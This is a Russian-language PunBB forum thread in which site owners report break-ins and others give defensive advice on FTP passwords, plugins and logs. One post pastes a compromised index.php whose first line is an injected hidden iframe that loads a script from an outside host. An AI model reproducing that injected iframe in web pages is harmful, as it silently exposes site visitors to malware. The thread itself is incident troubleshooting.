Быстрый лёгкий надёжный форумный движок
Вы не вошли.
Меня взломали седня, сдается мне что наверно через форум (кроме него и нету ничего), 1.2.14, поставлено модерн_бб, аттачмент, бэкап. Хотя если у всех форумы так хорошо живут то хз ...
Может есть идеи ?
Я бы не стал рисковать, давая юзерам возможность закачивать чтолибо на сервер кроме аватаров.
Какие тебе нужны идеи?
Ну вот как раз вроде этой - отказаться от атачментмода (я так понял), хотя вобщем то мне хотелось бы разрешить вкачку картинок и тхт.
вообще хакнуть могут любого если захотят.
Совет:
иметь хостинг который сам делает ежедневный бекап базы и файлов.
и можно забыть о любых проблемах в этой сфере.
Я бы не стал рисковать, давая юзерам возможность закачивать чтолибо на сервер кроме аватаров.
Если контролировать, что закачивается, то почему бы и нет?
Если контролировать, что закачивается, то почему бы и нет?
В принципе да, но доверять более-менее можно только ядру. Сторонние моды пишут разные люди, с разным уровнем знаний как инструментов так и самого движка, поэтому их использование может принести сюрпризы, и возможно неприятные. Я сам свои первые моды делал так, что мама не горюй.
Где то у меня было видео взлома форума на punbb. Старенькое правда. Могу поискать, выложить если интересно
Добавлено спустя 22 минуты 7 секунд:
Вот, наткнулся как-то, выискивая инфу про безопасность в PunBB:
http://video.antichat.ru/file27.html
http://video.antichat.ru/file48.html
боян.
* в первом ролике явно сказано punbb <= 1.2.5.
подстановка полей в профиле в версии 1.2.15 не работает. сохраняются только те поля, которые можно сохранить. кроме того
* во втором XSS в сообщении - проверено, сейчас в сообщениях такое не сработает. хотя в сторонних модах уязвимости обнаруживаются регулярно.
будте бдительны! следите за обновлениями, квотируйте вывод всего подряд через pun_htmlspecialchars(), не ставьте на рабочий сервер все подряд моды.
Меня к счастью не взламывали. Punbb все равно кажется безопасным в сравнении с другими.
Код значит более грамотно сделан. Хорошо что не часто обновляется.
Был у меня phpbb я замучался обновы ставить.
Здравствуйте! Меня взломали. Забанили модератора, изменили группы пользователей, т.е. То, что может админ. Я админом зайти смог. Пароль сложный. Наша сборка форума 1.2.15. Куда смотреть, чтобы найти дыру? Может я какое нибудь действие не сделал? Где логи хранятся? В форуме не очень разбираюсь. Работал без проблем около года. Где почитать о том что нужно делать в случае взлома?
закрывать форум (убрать config.php например) и разбираться. поменять пароль админа через mysqladmin, откатить все плагины, работать на голом форуме, пока не найдешь дыру.
самая вероятная причина - хищение пароля. либо админского, либо к ftp. была волна взломов через спертый пароль к ftp. трояны тупо крали данные ftp из тотала. в инете много про это писали. смени пароль фтп и НЕ сохраняй его в ftp-клинтах.
могли вопользоваться сохраненным паролем админа в куках. вспомни, откуда с чужих компов заходил на форум админским аккаунтом. может ты не разлогинился, а кто-то случайно наткнулся и нахулиганил.
закрывать форум (убрать config.php например) и разбираться. поменять пароль админа через mysqladmin, откатить все плагины, работать на голом форуме, пока не найдешь дыру.
Так как найти? Дамп восстановил, все отлично, но что теперь делать. Это не случайный, а целенаправленный взлом. Изменения после взлома коснулись только данных в базе данных, на фтп никто левый не заходил.
самая вероятная причина - хищение пароля. либо админского, либо к ftp. была волна взломов через спертый пароль к ftp. трояны тупо крали данные ftp из тотала. в инете много про это писали. смени пароль фтп и НЕ сохраняй его в ftp-клинтах.
могли вопользоваться сохраненным паролем админа в куках. вспомни, откуда с чужих компов заходил на форум админским аккаунтом. может ты не разлогинился, а кто-то случайно наткнулся и нахулиганил.
Это маловероятно, я захожу на форум другим пользователем, а админом очень редко и нигде пароль не храню.
Злоумышленники опубликовали кусок лога с моего форума, кто под каким ником заходил на форум и с какого IP. Где этот лог хранится? От куда могла была взята эта инфа, поняв это можно более точно установить метод взлома. Хочется сделать "Нашу сборку" тоже безопасной.
Вобщем взломщики как то поимели доступ к базе данных, хотя к ней можно только локально коннектиться через PHP. Наверное sql-иньекция. Куда копать?
Вот такая инфа о юзерах форума стала известна:
2008.01.26|10.21|85.192.62.129|http://www.nanoworld.org.ru/forum/viewtopic.php?id=42&p=2|Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Что это за лог? От куда к нему получили доступ?
Редактировался zoldrax (2008-03-28 14:11:40)
У тебя же еще жумла стоит на главной -она тоже только поставлена или была напичкана модулями? Давненько когда еще с ней игрался столкнулся с уязвимостью не столько самого кода движка сколько дырявостью модулей под нее.
У тебя же еще жумла стоит на главной -она тоже только поставлена или была напичкана модулями? Давненько когда еще с ней игрался столкнулся с уязвимостью не столько самого кода движка сколько дырявостью модулей под нее.
Ну вроде не с джумлы залил. Когда восстановил дамп тутже вроде снова взломали. Установил Не "Нашу сборку" пока работает надо тока капчу прикрутить, щас регистрацию новых пользователей запретил. Так что Наша сборка ломается, а оригинальный PunBB нет, почти уже факт.
Все равно ломают. Что делать?
Редактировался zoldrax (2008-03-29 03:18:37)
и все-таки вероятно у тебя сперли пароль к ftp.
Злоумышленники опубликовали кусок лога с моего форума
логи можно достать только по ftp. немедленно смени пароль!
логи можно достать только по ftp. немедленно смени пароль!
Я не нашел таких логов. Где поискать? Эта инфа, на первый взгляд, только в таблицах базы данных.
Форум без модов все равно ломают пароль на ФТП и админку поменял, но в базе видно, что админом не ходили.
"Злоумышленники опубликовали кусок лога с моего форума, кто под каким ником заходил на форум и с какого IP" - подобная инфа хранится в таблице online. а можно получить через админку хостинга (если услуга "показ статистики" есть). пока все говорит о том, что кто-то поимел твои пароли.
"админом не ходили" - это ты как понял?
файлы логов могут быть в разных папках у разных хостеров. поищи слово log начиная с самого корня.
в любом случае взломщик имея полный доступ к твоему хостингу может потереть любые записи в любом логе и "базе". я бы за собой следы замел
если ты знаешь время, когда орудовал взломщик, то можешь запросить логи за нужный период у хостера. даже если файлы сейчас потерты, возможно в бекапе у хостера они сохранились. нормальные хостинги делают полный ежедневный бекап.
Взломали второй раз.
Версия 1.2.15 с этого форума
В файле index.php вставляют строку в самом начале. После ее удаления движок ругается на лишние фигурные скобки
<iframe bouxr='cPY5d3MQ' dgbcy='ffh23Lr4' lfumo='jGkDJIH9' vqdri='jAphj8bM' src='http://olthart.com/imag/in.cgi?2 ' pedky='z1NlZVJ0' tpymv='7P3xj3d8' rbjef='73ljK5Qa' qgttf='kaJ0jg5Q' width='283' height='596' style='display:none'></iframe><?php
/***********************************************************************
Copyright (C) 2002-2005 Rickard Andersson ([email protected])
This file is part of PunBB.
PunBB is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published
by the Free Software Foundation; either version 2 of the License,
or (at your option) any later version.
PunBB is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston,
MA 02111-1307 USA
************************************************************************/
/************************************************************************
Modified by hcs ([email protected]) http://punbb.ru
Added UTF-8 support, Russian language & more mods.
2006 - 2007
************************************************************************/
define('PUN_ROOT', './');
require PUN_ROOT.'include/common.php';
if ($pun_user['g_read_board'] == '0')
message($lang_common['No view']);
// Load the index.php language file
require PUN_ROOT.'lang/'.$pun_user['language'].'/index.php';
$page_title = pun_htmlspecialchars($pun_config['o_board_title']);
define('PUN_ALLOW_INDEX', 1);
require PUN_ROOT.'header.php';
// REAL MARK TOPIC AS READ MOD BEGIN
function is_reading($log_time, $last_post)
{
if ( $log_time > $last_post )
return true;
return false;
}
// РїРѕРґ РІРѕРїСЂРѕСЃРѕРј!
if (!$pun_user['is_guest']) {
$result = $db->query("DELETE FROM ".$db->prefix."log_forums WHERE log_time < " . (time() - $pun_user['mark_after']) ." AND user_id='".$pun_user['id']."'") or error('Unable to delete marked as read forum info', __FILE__, __LINE__, $db->error());
}
// REAL MARK TOPIC AS READ MOD END
// Print the categories and forums
// Add Topic Title Info to Last Post column MOD BEGIN
//
// ORIGINAL:
//$result = $db->query('SELECT c.id AS cid, c.cat_name, f.id AS fid, f.forum_name, f.forum_desc, f.redirect_url, f.moderators, f.num_topics, f.num_posts, f.last_post, f.last_post_id, f.last_poster FROM '.$db->prefix.'categories AS c INNER JOIN '.$db->prefix.'forums AS f ON c.id=f.cat_id LEFT JOIN '.$db->prefix.'forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id='.$pun_user['g_id'].') WHERE fp.read_forum IS NULL OR fp.read_forum=1 ORDER BY c.disp_position, c.id, f.disp_position', true) or error('Unable to fetch category/forum list', __FILE__, __LINE__, $db->error());
//
// MOD:
//$result = $db->query('SELECT c.id AS cid, c.cat_name, f.id AS fid, f.forum_name, f.forum_desc, f.redirect_url, f.moderators, f.num_topics, f.num_posts, f.last_post, f.last_post_id, f.last_poster, t.subject FROM '.$db->prefix.'categories AS c INNER JOIN '.$db->prefix.'forums AS f ON c.id=f.cat_id LEFT JOIN '.$db->prefix.'topics AS t ON f.last_post_id=t.last_post_id LEFT JOIN '.$db->prefix.'forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id='.$pun_user['g_id'].') WHERE fp.read_forum IS NULL OR fp.read_forum=1 ORDER BY c.disp_position, c.id, f.disp_position', true) or error('Unable to fetch category/forum list', __FILE__, __LINE__, $db->error());
//
// Add Topic Title Info to Last Post column MOD END
// REAL MARK TOPIC AS READ MOD BEGIN
// ORIGINAL WITH Add Topic Title Info to Last Post column MOD
//$result = $db->query('SELECT c.id AS cid, c.cat_name, f.id AS fid, f.forum_name, f.forum_desc, f.redirect_url, f.moderators, f.num_topics, f.num_posts, f.last_post, f.last_post_id, f.last_poster, t.subject FROM '.$db->prefix.'categories AS c INNER JOIN '.$db->prefix.'forums AS f ON c.id=f.cat_id LEFT JOIN '.$db->prefix.'topics AS t ON f.last_post_id=t.last_post_id LEFT JOIN '.$db->prefix.'forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id='.$pun_user['g_id'].') WHERE fp.read_forum IS NULL OR fp.read_forum=1 ORDER BY c.disp_position, c.id, f.disp_position', true) or error('Unable to fetch category/forum list', __FILE__, __LINE__, $db->error());
$result = $db->query('
SELECT c.id AS cid,
c.cat_name,
f.id AS fid,
f.forum_name,
f.forum_desc,
f.redirect_url,
f.moderators,
f.num_topics,
f.num_posts,
f.last_post,
f.last_post_id,
lf.log_time,
lf.mark_read,
f.last_poster,
t.subject,
p.poster_id
FROM '.$db->prefix.'categories AS c
INNER JOIN '.$db->prefix.'forums AS f ON c.id=f.cat_id
LEFT JOIN '.$db->prefix.'topics AS t ON f.last_post_id=t.last_post_id
LEFT JOIN '.$db->prefix.'log_forums AS lf ON lf.user_id='.$pun_user['id'].' AND lf.forum_id=f.id
LEFT JOIN '.$db->prefix.'posts AS p ON f.last_post_id=p.id
LEFT JOIN '.$db->prefix.'forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id='.$pun_user['g_id'].')
WHERE fp.read_forum IS NULL OR fp.read_forum=1
ORDER BY c.disp_position, c.id, f.disp_position', true) or error('Unable to fetch category/forum list', __FILE__, __LINE__, $db->error());
// REAL MARK TOPIC AS READ MOD END
$cur_category = 0;
$cat_count = 0;
while ($cur_forum = $db->fetch_assoc($result))
{
$moderators = '';
if ($cur_forum['cid'] != $cur_category) // A new category since last iteration?
{
if ($cur_category != 0)
echo "\t\t\t".'</tbody>'."\n\t\t\t".'</table>'."\n\t\t".'</div>'."\n\t".'</div>'."\n".'</div>'."\n\n";
++$cat_count;
?>
<div id="idx<?php echo $cat_count ?>" class="blocktable">
<h2><span><?php echo pun_htmlspecialchars($cur_forum['cat_name']) ?></span></h2>
<div class="box">
<div class="inbox">
<table cellspacing="0">
<thead>
<tr>
<th class="tcl" scope="col"><?php echo $lang_common['Forum'] ?></th>
<th class="tc2" scope="col"><?php echo $lang_index['Topics'] ?></th>
<th class="tc3" scope="col"><?php echo $lang_common['Posts'] ?></th>
<th class="tcr" scope="col"><?php echo $lang_common['Last post'] ?></th>
</tr>
</thead>
<tbody>
<?php
$cur_category = $cur_forum['cid'];
}
$item_status = '';
$icon_text = $lang_common['Normal icon'];
$icon_type = 'icon';
// Are there new posts?
// REAL MARK TOPIC AS READ MOD BEGIN
//
// ORIGINAL:
// if (!$pun_user['is_guest'] && $cur_forum['last_post'] > $pun_user['last_visit'])
// куда деть mark_read???
if (!$pun_user['is_guest'] && !is_reading( $cur_forum['log_time'], $cur_forum['last_post']) && $cur_forum['last_post'] > $cur_forum['mark_read'] && $cur_forum['poster_id'] != $pun_user['id'] &&
($cur_forum['last_post'] > $pun_user['last_visit'] || (time() - $cur_forum['last_post'] < $pun_user['mark_after']) ))
// REAL MARK TOPIC AS READ MOD END
{
$item_status = 'inew';
$icon_text = $lang_common['New icon'];
$icon_type = 'icon inew';
}
// Is this a redirect forum?
if ($cur_forum['redirect_url'] != '')
{
$forum_field = '<h3><a href="'.pun_htmlspecialchars($cur_forum['redirect_url']).'" title="'.$lang_index['Link to'].' '.pun_htmlspecialchars($cur_forum['redirect_url']).'">'.pun_htmlspecialchars($cur_forum['forum_name']).'</a></h3>';
$num_topics = $num_posts = ' ';
$item_status = 'iredirect';
$icon_text = $lang_common['Redirect icon'];
$icon_type = 'icon';
}
else
{
$forum_field = '<h3><a href="viewforum.php?id='.$cur_forum['fid'].'">'.pun_htmlspecialchars($cur_forum['forum_name']).'</a></h3>';
$num_topics = $cur_forum['num_topics'];
$num_posts = $cur_forum['num_posts'];
}
if ($cur_forum['forum_desc'] != '')
$forum_field .= "\n\t\t\t\t\t\t\t\t".$cur_forum['forum_desc'];
// If there is a last_post/last_poster.
if ($cur_forum['last_post'] != '')
// BEGIN MOD
// NAME: Add Topic Title Info to Last Post column
//
// ORIGINAL:
// $last_post = '<a href="viewtopic.php?pid='.$cur_forum['last_post_id'].'#p'.$cur_forum['last_post_id'].'">'.format_time($cur_forum['last_post']).'</a> <span class="byuser">'.$lang_common['by'].' '.pun_htmlspecialchars($cur_forum['last_poster']).'</span>';
//
// MOD:
$last_post = '<a href="viewtopic.php?pid='.$cur_forum['last_post_id'].'#p'.$cur_forum['last_post_id'].'">'.pun_htmlspecialchars($cur_forum['subject']).'</a> <span class="byuser">'.format_time($cur_forum['last_post']).' - '.$lang_common['by'].' '.pun_htmlspecialchars($cur_forum['last_poster']).'</span>';
//
// END MOD
else
$last_post = ' ';
if ($cur_forum['moderators'] != '')
{
$mods_array = unserialize($cur_forum['moderators']);
$moderators = array();
while (list($mod_username, $mod_id) = @each($mods_array))
$moderators[] = '<a href="profile.php?id='.$mod_id.'">'.pun_htmlspecialchars($mod_username).'</a>';
$moderators = "\t\t\t\t\t\t\t\t".'<p><em>('.$lang_common['Moderated by'].'</em> '.implode(', ', $moderators).')</p>'."\n";
}
?>
<tr<?php if ($item_status != '') echo ' class="'.$item_status.'"'; ?>>
<td class="tcl">
<div class="intd">
<div class="<?php echo $icon_type ?>"><div class="nosize"><?php echo $icon_text ?></div></div>
<div class="tclcon">
<?php echo $forum_field."\n".$moderators ?>
</div>
</div>
</td>
<td class="tc2"><?php echo $num_topics ?></td>
<td class="tc3"><?php echo $num_posts ?></td>
<td class="tcr"><?php echo $last_post ?></td>
</tr>
<?php
}
// Did we output any categories and forums?
if ($cur_category > 0)
echo "\t\t\t".'</tbody>'."\n\t\t\t".'</table>'."\n\t\t".'</div>'."\n\t".'</div>'."\n".'</div>'."\n\n";
else
echo '<div id="idx0" class="block"><div class="box"><div class="inbox"><p>'.$lang_index['Empty board'].'</p></div></div></div>';
// Collect some statistics from the database
$result = $db->query('SELECT COUNT(id)-1 FROM '.$db->prefix.'users') or error('Unable to fetch total user count', __FILE__, __LINE__, $db->error());
$stats['total_users'] = $db->result($result);
$result = $db->query('SELECT id, username FROM '.$db->prefix.'users ORDER BY registered DESC LIMIT 1') or error('Unable to fetch newest registered user', __FILE__, __LINE__, $db->error());
$stats['last_user'] = $db->fetch_assoc($result);
$result = $db->query('SELECT SUM(num_topics), SUM(num_posts) FROM '.$db->prefix.'forums') or error('Unable to fetch topic/post count', __FILE__, __LINE__, $db->error());
list($stats['total_topics'], $stats['total_posts']) = $db->fetch_row($result);
?>
<div id="brdstats" class="block">
<h2><span><?php echo $lang_index['Board info'] ?></span></h2>
<div class="box">
<div class="inbox">
<dl class="conr">
<dt><strong><?php echo $lang_index['Board stats'] ?></strong></dt>
<dd><?php echo $lang_index['No of users'].': <strong>'. $stats['total_users'] ?></strong></dd>
<dd><?php echo $lang_index['No of topics'].': <strong>'.$stats['total_topics'] ?></strong></dd>
<dd><?php echo $lang_index['No of posts'].': <strong>'.$stats['total_posts'] ?></strong></dd>
</dl>
<dl class="conl">
<dt><strong><?php echo $lang_index['User info'] ?></strong></dt>
<dd><?php echo $lang_index['Newest user'] ?>: <a href="profile.php?id=<?php echo $stats['last_user']['id'] ?>"><?php echo pun_htmlspecialchars($stats['last_user']['username']) ?></a></dd>
<?php
if ($pun_config['o_users_online'] == '1')
{
// Fetch users online info and generate strings for output
$num_guests = 0;
$users = array();
$result = $db->query('SELECT user_id, ident FROM '.$db->prefix.'online WHERE idle=0 ORDER BY ident', true) or error('Unable to fetch online list', __FILE__, __LINE__, $db->error());
while ($pun_user_online = $db->fetch_assoc($result))
{
if ($pun_user_online['user_id'] > 1)
$users[] = "\n\t\t\t\t".'<dd><a href="profile.php?id='.$pun_user_online['user_id'].'">'.pun_htmlspecialchars($pun_user_online['ident']).'</a>';
else
++$num_guests;
}
$num_users = count($users);
echo "\t\t\t\t".'<dd>'. $lang_index['Users online'].': <strong>'.$num_users.'</strong></dd>'."\n\t\t\t\t".'<dd>'.$lang_index['Guests online'].': <strong>'.$num_guests.'</strong></dd>'."\n\t\t\t".'</dl>'."\n";
if ($num_users > 0)
echo "\t\t\t".'<dl id="onlinelist" class= "clearb">'."\n\t\t\t\t".'<dt><strong>'.$lang_index['Online'].': </strong></dt>'."\t\t\t\t".implode(',</dd> ', $users).'</dd>'."\n\t\t\t".'</dl>'."\n";
else
echo "\t\t\t".'<div class="clearer"></div>'."\n";
}
else
echo "\t\t".'</dl>'."\n\t\t\t".'<div class="clearer"></div>'."\n";
?>
</div>
</div>
</div>
<?php
$footer_style = 'index';
require PUN_ROOT.'footer.php';
Подскажите, как тут быть?
Редактировался solarex (2008-04-07 13:38:57)
Подскажите, как тут быть?
Не ходить на сайт используя в качестве фтп клиента Тотал Командер!
Не хранить пароли к фтп на компе!
З.Ы. Смени пароль на фтп, Используй FileZilla и протокол sftp (если хостер его поддерживает). Перепиши файлы движка на нормальные.
Не ходить на сайт используя в качестве фтп клиента Тотал Командер!
А в чём дело?
Visman
Благодарю!
Когонить взламывали?
Меня
Не ходить на сайт используя в качестве фтп клиента Тотал Командер!
Тоже интересно, чем тотал провинился.
Не хранить пароли к фтп на компе!
Ну это от троянов защита.
Тоже интересно, чем тотал провинился.
Пароли с него хорошо уходят
Ну это от троянов защита.
даже если пароль не храниться постоянно в нем
Visman, хм, т.е. все-таки уходят через троян какой-то или сам тотал где-то закладку имеет?